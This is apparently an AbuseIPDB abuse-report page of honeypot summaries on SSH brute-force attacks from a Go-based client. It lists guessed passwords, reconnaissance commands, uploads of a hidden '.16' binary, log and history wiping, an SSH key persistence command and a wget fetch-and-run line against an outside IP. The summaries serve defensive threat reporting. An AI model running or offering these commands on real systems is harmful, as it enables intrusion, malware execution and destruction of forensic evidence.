SSH login attempts used ec2-user/123456 and root/root over SSH-2.0-Go. After access, the actor uploa ...
show moreSSH login attempts used ec2-user/123456 and root/root over SSH-2.0-Go. After access, the actor uploaded /home/honeypot/.16 twice and tried to execute it from /home/<user>/.16 with sudo/sh, then chmod +x on the same path. They attempted cleanup with rm -rf /home/<user>/.16. A later command combined removal of the uploaded file with log/history wiping: echo -n '' > /var/log/wtmp; cd $HOME; rm -rf .bash_history; history -c. Additional commands included repeated transport markers, suggesting scripted automation. No lateral movement observed.
show less
Multiple SSH login attempts with common/default-style credentials: admin/Admin1, admin/Admin@123, er ...
show moreMultiple SSH login attempts with common/default-style credentials: admin/Admin1, admin/Admin@123, erp/Erp123, erp/Erp321, frappe/Admin@123, frappe/Frappe.123, frappe/Frappe@123, root/Welcome.123. Client identified as SSH-2.0-Go. After access, the session ran host and GPU discovery only: /bin/./uname -s -v -n -r -m, uptime -p, lspci queries for VGA and 3D controller devices, and nvidia-smi -q checks for Product Name. No files were downloaded or dropped, no persistence was created, no port forwarding was observed, and no lateral movement activity was observed. The activity focused on enumerating system/kernel details and checking for NVIDIA graphics hardware.
show less
SSH brute-force activity from SSH-2.0-Go across 7 sessions in ~12 minutes. Login attempts used block ...
show moreSSH brute-force activity from SSH-2.0-Go across 7 sessions in ~12 minutes. Login attempts used blockscout/blockscout, firedancer/firedancer, jito/jito, mapr/mapr, shredstream/shredstream, and ubuntu/shredstream. After access, the actor ran host/GPU reconnaissance only: /bin/./uname -s -v -n -r -m, uptime -p, nproc --all, lspci queries for VGA and 3D controller devices, and nvidia-smi -q checks to enumerate NVIDIA product names and count GPUs. No downloads, file drops, persistence, port forwarding, lateral movement, or other post-exploitation actions were observed.
show less
SSH brute-force and post-auth activity from SSH-2.0-Go using ec2-user/123456 and root/root. After lo ...
show moreSSH brute-force and post-auth activity from SSH-2.0-Go using ec2-user/123456 and root/root. After login, operator uploaded a file named .16 (4 uploads) to /home/honeypot/.16, made it executable with chmod +x, then attempted to execute it as /home/<user>/.16. Repeated cleanup followed with rm -rf on the same path, plus log/history wiping: echo -n '' > /var/log/wtmp, rm -rf .bash_history, and history -c. Commands also show repeated sudo attempts with the guessed passwords and execution/removal cycles against the uploaded payload. No lateral movement or port forwarding observed. No hashes available.
show less
SSH login attempts used default/weak credentials: admin/password1, admin/qwerty, and administrator/1 ...
show moreSSH login attempts used default/weak credentials: admin/password1, admin/qwerty, and administrator/123456. The client identified as SSH-2.0-Go. After login, the actor ran system discovery and environment checks, including multiple sudo-wrapped nproc probes to enumerate CPU count, uname-based host/OS checks, PATH export, and numerous echo-based marker commands such as check_*_transport_done. No payloads, file downloads, dropped files, persistence changes, port forwarding, or lateral movement were observed in the session. The activity consisted of interactive reconnaissance and host fingerprinting only.
show less
Two SSH sessions attempted root login using the password ---fuck_you---- from an SSH-2.0-Go client. ...
show moreTwo SSH sessions attempted root login using the password ---fuck_you---- from an SSH-2.0-Go client. After login, the only observed command was uname -s -m, used to identify the OS and architecture. No payloads, downloads, file drops, persistence, port forwarding, lateral movement, or other post-login actions were observed.
show less
4 SSH sessions in 8m37s using SSH-2.0-Go and common brute-force logins: admin/adminadmin, admin/letm ...
show more4 SSH sessions in 8m37s using SSH-2.0-Go and common brute-force logins: admin/adminadmin, admin/letmein, admin/passw0rd, admin/password. After login, the actor ran sudo-wrapped shell checks to test privilege escalation and enumerate CPU count with nproc/grep /proc/cpuinfo. Observed activity was limited to command execution and environment probing; no file downloads, dropped artifacts, persistence, port forwarding, lateral movement, or exfiltration were observed. Numerous marker commands beginning with “check_*_transport_done” were also executed.
show less
Two SSH sessions from SSH-2.0-Go attempted admin/letmein and root/root. The attacker uploaded the sa ...
show moreTwo SSH sessions from SSH-2.0-Go attempted admin/letmein and root/root. The attacker uploaded the same file twice as /home/honeypot/.16, then tried to execute it with sudo and direct shell execution, chmod +x on the file, and rm -rf to remove it. Commands also attempted to clear evidence by truncating /var/log/wtmp, deleting .bash_history, and running history -c. The session included repeated status markers such as check_209bc86ae8324cc33f0f7dde4c498df9_transport_done and check_55b0f3c77d60c9f1f1d264a5ee1644b0_transport_done. No other downloads, port forwards, lateral movement, or additional artifacts were observed.
show less
6 SSH sessions from SSH-2.0-Go used weak admin passwords: 123123, 1234, 12345, 123456, and 12345678. ...
show more6 SSH sessions from SSH-2.0-Go used weak admin passwords: 123123, 1234, 12345, 123456, and 12345678. Activity focused on host profiling and tool staging checks. Observed commands included repeated sudo-wrapped CPU enumeration attempts with nproc, /usr/bin/nproc, busybox nproc, and /proc/cpuinfo via grep. Numerous marker strings were echoed, including “check_<hex>_transport_done”, showing automated session checks. No payloads, file downloads, dropped files, persistence actions, port forwards, lateral movement, or malware artifacts were observed.
show less
5 SSH sessions used the SSH-2.0-Go client and tried weak admin logins: admin/123456789, admin/Admin1 ...
show more5 SSH sessions used the SSH-2.0-Go client and tried weak admin logins: admin/123456789, admin/Admin123, admin/Administrator, admin/P@ssw0rd, and admin/access. After login, the actor ran sudo-wrapped shell probes to identify CPU count using nproc, /usr/bin/nproc, busybox nproc, and /proc/cpuinfo. Activity then shifted to many echo-based marker checks and environment probing, with 81 unique commands / 94 total commands observed. No file downloads, dropped artifacts, persistence setup, port forwarding, or lateral movement were observed in this window. The session shows automated credential stuffing followed by basic host reconnaissance and command execution attempts.
show less
Single SSH login attempt using root/pusahqoh from SSH-2.0-OpenSSH_8.9. After login, the session ran ...
show moreSingle SSH login attempt using root/pusahqoh from SSH-2.0-OpenSSH_8.9. After login, the session ran host discovery and environment checks only: hostname, id -u, cpu/memory sizing, /proc/1/comm, MAC address lookup, package manager detection, user enumeration from /etc/passwd, and checks for honeypot-related paths plus zmap presence. No downloads, file creation, persistence, port forwarding, lateral movement, or additional credential harvesting were observed. This was a short reconnaissance session focused on assessing the target system and available tooling.
show less
Five SSH sessions from SSH-2.0-Go attempted weak credentials: admin/111111, root/rootme, root/system ...
show moreFive SSH sessions from SSH-2.0-Go attempted weak credentials: admin/111111, root/rootme, root/system, root/toor, and root/welcome. After login attempts, the actor used sudo with the supplied passwords to run nproc checks and CPU enumeration via sh, /usr/bin/nproc, busybox nproc, and /proc/cpuinfo. The session then issued many “check_<id>_transport_done” commands, with 81 unique commands and 92 total, indicating scripted validation of multiple transport checks. No file downloads, dropped artifacts, persistence actions, lateral movement, or malware payloads were observed in the captured activity.
show less
Multiple SSH sessions over 14 minutes using SSH-2.0-Go. Attempted root logins with common passwords: ...
show moreMultiple SSH sessions over 14 minutes using SSH-2.0-Go. Attempted root logins with common passwords: 123456789, Password1, admin, admin123, default, letmein. After login attempts, ran sudo-wrapped nproc/cpu detection checks with each password, then issued numerous shell probes including repeated “check_*_transport_done” echoes. No downloads, dropped files, persistence, port forwarding, lateral movement, or other artifact activity was observed. Pattern shows automated credential stuffing and host capability enumeration from a Go-based SSH client.
show less
SSH login attempts used master/wasd and root/root from an SSH-2.0-Go client. After access, the actor ...
show moreSSH login attempts used master/wasd and root/root from an SSH-2.0-Go client. After access, the actor uploaded a file named .16 four times to /home/honeypot/.16, made it executable with chmod +x, and tried to run it directly and via sudo as root and wasd. The session also included repeated cleanup and anti-forensics actions: rm -rf /home/honeypot/.16, clearing shell history with rm -rf .bash_history and history -c, and truncating /var/log/wtmp. Commands show use of sudo -S with provided passwords and repeated execution attempts of the dropped binary. A check marker was printed: check_047a4c3b350493bd0bdd66302640be6e_transport_done. No lateral movement or port forwarding was observed.
show less
Multiple SSH login attempts were observed using weak/default credentials: admin/letmein, master/wasd ...
show moreMultiple SSH login attempts were observed using weak/default credentials: admin/letmein, master/wasd, and root/root. The source used SSH-2.0-Go and SSH-2.0-paramiko_4.0.0 clients over 8 sessions in a 4-minute window. After login, the activity was limited to command execution and environment probing: PATH was exported, uname was queried, and several shell functions/echo checks were run with “check_*” markers and small math/string tests. No downloads, file writes, dropped artifacts, persistence actions, port forwarding, or lateral movement were observed. The session shows credential guessing followed by basic host reconnaissance and command validation only.
show less
Multiple SSH login attempts used common weak root passwords: 111111, 123123, 1234, 12345, 123456, 12 ...
show moreMultiple SSH login attempts used common weak root passwords: 111111, 123123, 1234, 12345, 123456, 12345678. After login, the session ran system profiling and environment checks, including nproc via sudo and repeated “check_*_transport_done” echo commands. Total activity: 6 sessions, 97 unique commands/108 total over ~13 minutes. SSH client identified as SSH-2.0-Go. No file downloads, dropped files, persistence, lateral movement, or malware artifacts were observed. The activity shows automated credential guessing followed by basic host reconnaissance and command probing.
show less
3 SSH sessions from SSH-2.0-libssh_0.9.6 over 2 minutes used usernames/passwords 345gs5662d34/345gs5 ...
show more3 SSH sessions from SSH-2.0-libssh_0.9.6 over 2 minutes used usernames/passwords 345gs5662d34/345gs5662d34 and consultant/consultant. After login, the attacker attempted to change SSH access and hide it: cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXx..., and cd ~; chattr -ia .ssh; lockr -ia .ssh. Observed activity shows credential guessing followed by SSH key setup/persistence preparation and attempts to remove immutable attributes on .ssh. No downloads, lateral movement, or dropped files were observed.
show less
Single SSH session from root/xxabbeyxx using SSH-2.0-OpenSSH_8.9. Activity was short and limited to ...
show moreSingle SSH session from root/xxabbeyxx using SSH-2.0-OpenSSH_8.9. Activity was short and limited to host discovery and environment checks. Commands queried OS/version, init process, network MAC, package manager presence, memory, and availability of tools such as apt-get, zmap, dpkg, systemctl, bash, sh, ls, cat, grep, sed, awk, ps, and ssh. No files were dropped, no downloads occurred, no persistence was created, no port forwarding was observed, and no lateral movement was attempted. This was an interactive recon/login attempt only.
show less
Multiple SSH sessions from SSH-2.0-Go used common root password guesses: admin, admin123, alpine, ch ...
show moreMultiple SSH sessions from SSH-2.0-Go used common root password guesses: admin, admin123, alpine, changeme, default, letmein, and passw0rd. After login attempts, the host ran sudo-wrapped shell commands to identify CPU count via nproc/grep /proc/cpuinfo and repeated “check_<hex>_transport_done” echo probes. 110 total commands over 7 sessions show interactive post-auth activity and environment discovery, but no file downloads, dropped artifacts, persistence actions, port forwarding, or lateral movement were observed. The activity is consistent with automated credential stuffing followed by basic host capability checks.
show less
Multiple SSH login attempts with common/default credentials were made: admin/123456, admin/admin, ro ...
show moreMultiple SSH login attempts with common/default credentials were made: admin/123456, admin/admin, root/123456, root/1qaz@wsx, root/admin, root/password, root/redhat, root/root, and root/toor. After access, the attacker ran uname -a and then downloaded and executed a script from hxxp://85[.]215[.]73[.]250:8080/wget.sh using cd /tmp && wget ... -O wget.sh && chmod +x wget.sh && ./wget.sh; echo 'vT'. One file was dropped: wget.sh, script, 770 bytes, SHA-256 96c3a262d67d456782705ba494673afddde345075a8f60ed7ac60ee89b6f8999. No persistence, port forwarding, lateral movement, or additional commands were observed in this session.
show less
43 SSH sessions in 5 hours using weak/default logins: admin/letmein, admin1/123, ec2-user/123456, ma ...
show more43 SSH sessions in 5 hours using weak/default logins: admin/letmein, admin1/123, ec2-user/123456, master/wasd, root/root. After login, the attacker ran repeated sudo checks with passwords 123456, letmein, and root, then executed and permissioned a hidden payload at /home/<user>/.16, including chmod +x and direct execution. The same file was later removed with rm -rf. 323 unique commands/437 total were observed, but the dominant activity was payload execution and cleanup. Artifact recovered: “.16”, hidden executable, 1.6 MB, sha256 9775d376f5e5b3ed0d79d1179abf0f1e6b699e71e8171b354bb063ed166e5aa0. No lateral movement, port forwarding, or additional downloads were observed.
show less
Single SSH session used root/q786123 from SSH-2.0-OpenSSH_8.9. Activity was short and focused on hos ...
show moreSingle SSH session used root/q786123 from SSH-2.0-OpenSSH_8.9. Activity was short and focused on host reconnaissance rather than file delivery or persistence. Commands checked for package managers and tools (apt-get, dpkg, yum/dnf/apk/pacman/zypper, zmap), inspected init process (/proc/1/comm), network MAC address, memory size, available shells/utilities, and enumerated non-login users from /etc/passwd. Also read the first bytes of /usr/bin/apt-get to identify the binary. No downloads, uploads, lateral movement, port forwards, or persistence mechanisms were observed. No artifacts were dropped and no hashes are available.
show less
Single SSH login attempt using root/password from SSH-2.0-OpenSSH_8.9. After login, the actor ran on ...
show moreSingle SSH login attempt using root/password from SSH-2.0-OpenSSH_8.9. After login, the actor ran only host-recon commands: uname -s -v -n -r -m, uptime, free -m, nproc --all / grep -c ^processor, and /etc/passwd enumeration to list non-login users. No files were downloaded or dropped, no persistence was attempted, no port forwarding was used, and no lateral movement was observed. Activity was limited to system discovery and resource checks.
show less
Two SSH sessions from over SSH-2.0-Go used credentials master/wasd and root/root. Activity focused o ...
show moreTwo SSH sessions from over SSH-2.0-Go used credentials master/wasd and root/root. Activity focused on a dropped file named .16, uploaded twice to /home/honeypot/.16, then made executable with chmod +x and repeatedly launched via sudo/sh. The file was then removed with rm -rf. Commands also attempted cleanup and anti-forensics: echo -n '' > /var/log/wtmp, rm -rf .bash_history, and history -c. Multiple sudo attempts were made with both passwords, followed by execution attempts of the uploaded payload. No successful lateral movement, port forwarding, or additional downloads were observed. Two unique check_* transport_done markers were seen, indicating scripted session handling.
show less
5 SSH sessions used weak root passwords: !root, 111111, 123123, and 1234. Client banner was SSH-2.0- ...
show more5 SSH sessions used weak root passwords: !root, 111111, 123123, and 1234. Client banner was SSH-2.0-Go. Activity focused on host fingerprinting and capability checks: repeated sudo-wrapped attempts to run nproc or read /proc/cpuinfo to count CPUs, plus multiple echoed markers ending in _transport_done. I did not observe successful login output, file downloads, dropped artifacts, persistence, port forwarding, lateral movement, or malware execution. The command set contained 65 unique commands / 80 total, indicating automated probing and environment enumeration after credential attempts.
show less
Brute-ForceSSH
By clicking “Accept all”, you agree to the storing of cookies on your device to remember preferences and
analyze site usage.
Read more
- Required to log into your AbuseIPDB account, and store these cookie preferences.